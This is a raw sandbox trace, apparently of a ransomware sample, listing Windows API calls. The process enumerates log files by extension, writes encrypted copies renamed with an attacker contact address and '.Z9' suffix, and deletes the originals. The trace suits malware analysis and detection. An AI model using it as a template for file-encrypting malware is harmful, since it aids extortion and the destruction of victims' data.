	[0082.368] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1
	[0082.368] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0082.368] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0082.368] lstrlenW (lpString=".doc") returned 4
	[0082.368] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.369] lstrlenW (lpString=".docx") returned 5
	[0082.369] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.369] lstrlenW (lpString=".pdf") returned 4
	[0082.369] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.369] lstrlenW (lpString=".xls") returned 4
	[0082.369] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.369] lstrlenW (lpString=".xlsx") returned 5
	[0082.369] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.369] lstrlenW (lpString=".ppt") returned 4
	[0082.369] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.369] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0082.369] lstrlenW (lpString=".zip") returned 4
	[0082.369] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.369] lstrlenW (lpString=".rar") returned 4
	[0082.369] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.369] lstrlenW (lpString=".bz2") returned 4
	[0082.369] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.369] lstrlenW (lpString=".7z") returned 3
	[0082.369] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.369] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0082.369] lstrlenW (lpString=".dbf") returned 4
	[0082.369] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.369] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0082.369] lstrlenW (lpString=".1cd") returned 4
	[0082.369] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.369] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0082.369] lstrlenW (lpString=".jpg") returned 4
	[0082.369] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.369] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0082.369] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0082.369] lstrlenW (lpString=".doc") returned 4
	[0082.369] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.369] lstrlenW (lpString=".docx") returned 5
	[0082.369] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.369] lstrlenW (lpString=".pdf") returned 4
	[0082.370] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.370] lstrlenW (lpString=".xls") returned 4
	[0082.370] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.370] lstrlenW (lpString=".xlsx") returned 5
	[0082.370] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.370] lstrlenW (lpString=".ppt") returned 4
	[0082.370] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0082.370] lstrlenW (lpString=".zip") returned 4
	[0082.370] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.370] lstrlenW (lpString=".rar") returned 4
	[0082.370] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.370] lstrlenW (lpString=".bz2") returned 4
	[0082.370] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.370] lstrlenW (lpString=".7z") returned 3
	[0082.370] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0082.370] lstrlenW (lpString=".dbf") returned 4
	[0082.370] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0082.370] lstrlenW (lpString=".1cd") returned 4
	[0082.370] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0082.370] lstrlenW (lpString=".jpg") returned 4
	[0082.370] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.370] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.370] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 47
	[0082.370] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.371] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=69632) returned 1
	[0082.371] CloseHandle (hObject=0x374) returned 1
	[0082.371] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20
	[0082.371] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.371] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.371] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.371] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.371] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.372] GetLastError () returned 0x0
	[0082.372] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.375] WriteFile (in: hFile=0x320, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.377] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.377] WriteFile (in: hFile=0x320, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x132, lpOverlapped=0x0) returned 1
	[0082.377] SetEndOfFile (hFile=0x320) returned 1
	[0082.377] CloseHandle (hObject=0x320) returned 1
	[0082.379] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.379] SetEndOfFile (hFile=0x374) returned 1
	[0082.380] CloseHandle (hObject=0x374) returned 1
	[0082.380] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.380] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1
	[0082.381] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0082.381] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0082.381] lstrlenW (lpString=".doc") returned 4
	[0082.381] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.381] lstrlenW (lpString=".docx") returned 5
	[0082.381] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.381] lstrlenW (lpString=".pdf") returned 4
	[0082.381] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.381] lstrlenW (lpString=".xls") returned 4
	[0082.381] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.381] lstrlenW (lpString=".xlsx") returned 5
	[0082.381] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.381] lstrlenW (lpString=".ppt") returned 4
	[0082.381] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.381] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0082.381] lstrlenW (lpString=".zip") returned 4
	[0082.381] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.381] lstrlenW (lpString=".rar") returned 4
	[0082.381] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.381] lstrlenW (lpString=".bz2") returned 4
	[0082.381] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.381] lstrlenW (lpString=".7z") returned 3
	[0082.381] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.381] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0082.381] lstrlenW (lpString=".dbf") returned 4
	[0082.381] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.381] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0082.381] lstrlenW (lpString=".1cd") returned 4
	[0082.381] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.381] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0082.382] lstrlenW (lpString=".jpg") returned 4
	[0082.382] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.382] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0082.382] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0082.382] lstrlenW (lpString=".doc") returned 4
	[0082.382] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.382] lstrlenW (lpString=".docx") returned 5
	[0082.382] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.382] lstrlenW (lpString=".pdf") returned 4
	[0082.382] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.382] lstrlenW (lpString=".xls") returned 4
	[0082.382] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.382] lstrlenW (lpString=".xlsx") returned 5
	[0082.382] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.382] lstrlenW (lpString=".ppt") returned 4
	[0082.382] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.382] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0082.382] lstrlenW (lpString=".zip") returned 4
	[0082.382] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.382] lstrlenW (lpString=".rar") returned 4
	[0082.382] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.382] lstrlenW (lpString=".bz2") returned 4
	[0082.382] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.382] lstrlenW (lpString=".7z") returned 3
	[0082.382] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.382] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0082.382] lstrlenW (lpString=".dbf") returned 4
	[0082.382] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.382] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0082.382] lstrlenW (lpString=".1cd") returned 4
	[0082.382] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.382] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0082.382] lstrlenW (lpString=".jpg") returned 4
	[0082.382] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.383] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.383] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4Operational.evtx") returned 46
	[0082.383] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.383] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=69632) returned 1
	[0082.383] CloseHandle (hObject=0x374) returned 1
	[0082.383] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20
	[0082.383] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.383] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.383] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.383] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.383] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.384] GetLastError () returned 0x0
	[0082.384] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.680] WriteFile (in: hFile=0x320, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.682] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.682] WriteFile (in: hFile=0x320, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x130, lpOverlapped=0x0) returned 1
	[0082.682] SetEndOfFile (hFile=0x320) returned 1
	[0082.682] CloseHandle (hObject=0x320) returned 1
	[0082.684] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.684] SetEndOfFile (hFile=0x374) returned 1
	[0082.686] CloseHandle (hObject=0x374) returned 1
	[0082.686] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.686] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1
	[0082.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.686] lstrlenW (lpString=".doc") returned 4
	[0082.686] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.686] lstrlenW (lpString=".docx") returned 5
	[0082.686] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.686] lstrlenW (lpString=".pdf") returned 4
	[0082.686] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.686] lstrlenW (lpString=".xls") returned 4
	[0082.686] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.686] lstrlenW (lpString=".xlsx") returned 5
	[0082.686] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.686] lstrlenW (lpString=".ppt") returned 4
	[0082.686] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.687] lstrlenW (lpString=".zip") returned 4
	[0082.687] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.687] lstrlenW (lpString=".rar") returned 4
	[0082.687] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.687] lstrlenW (lpString=".bz2") returned 4
	[0082.687] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.687] lstrlenW (lpString=".7z") returned 3
	[0082.687] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.687] lstrlenW (lpString=".dbf") returned 4
	[0082.687] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.687] lstrlenW (lpString=".1cd") returned 4
	[0082.687] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.687] lstrlenW (lpString=".jpg") returned 4
	[0082.687] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.687] lstrlenW (lpString=".doc") returned 4
	[0082.687] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.687] lstrlenW (lpString=".docx") returned 5
	[0082.687] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.687] lstrlenW (lpString=".pdf") returned 4
	[0082.687] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.687] lstrlenW (lpString=".xls") returned 4
	[0082.687] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.687] lstrlenW (lpString=".xlsx") returned 5
	[0082.687] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.687] lstrlenW (lpString=".ppt") returned 4
	[0082.687] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.687] lstrlenW (lpString=".zip") returned 4
	[0082.687] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.687] lstrlenW (lpString=".rar") returned 4
	[0082.688] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.688] lstrlenW (lpString=".bz2") returned 4
	[0082.688] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.688] lstrlenW (lpString=".7z") returned 3
	[0082.688] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.688] lstrlenW (lpString=".dbf") returned 4
	[0082.688] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.688] lstrlenW (lpString=".1cd") returned 4
	[0082.688] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0082.688] lstrlenW (lpString=".jpg") returned 4
	[0082.688] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.688] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.688] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Security.evtx") returned 42
	[0082.688] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.688] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=69632) returned 1
	[0082.688] CloseHandle (hObject=0x374) returned 1
	[0082.688] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20
	[0082.689] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.689] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.689] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.689] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.689] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.689] GetLastError () returned 0x0
	[0082.689] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.692] WriteFile (in: hFile=0x320, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.694] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.694] WriteFile (in: hFile=0x320, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x128, lpOverlapped=0x0) returned 1
	[0082.694] SetEndOfFile (hFile=0x320) returned 1
	[0082.694] CloseHandle (hObject=0x320) returned 1
	[0082.696] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.696] SetEndOfFile (hFile=0x374) returned 1
	[0082.698] CloseHandle (hObject=0x374) returned 1
	[0082.698] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.698] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1
	[0082.698] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0082.698] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0082.698] lstrlenW (lpString=".doc") returned 4
	[0082.698] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.698] lstrlenW (lpString=".docx") returned 5
	[0082.698] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.698] lstrlenW (lpString=".pdf") returned 4
	[0082.698] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.698] lstrlenW (lpString=".xls") returned 4
	[0082.698] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.698] lstrlenW (lpString=".xlsx") returned 5
	[0082.698] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.698] lstrlenW (lpString=".ppt") returned 4
	[0082.698] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.698] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0082.699] lstrlenW (lpString=".zip") returned 4
	[0082.699] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.699] lstrlenW (lpString=".rar") returned 4
	[0082.699] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.699] lstrlenW (lpString=".bz2") returned 4
	[0082.699] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.699] lstrlenW (lpString=".7z") returned 3
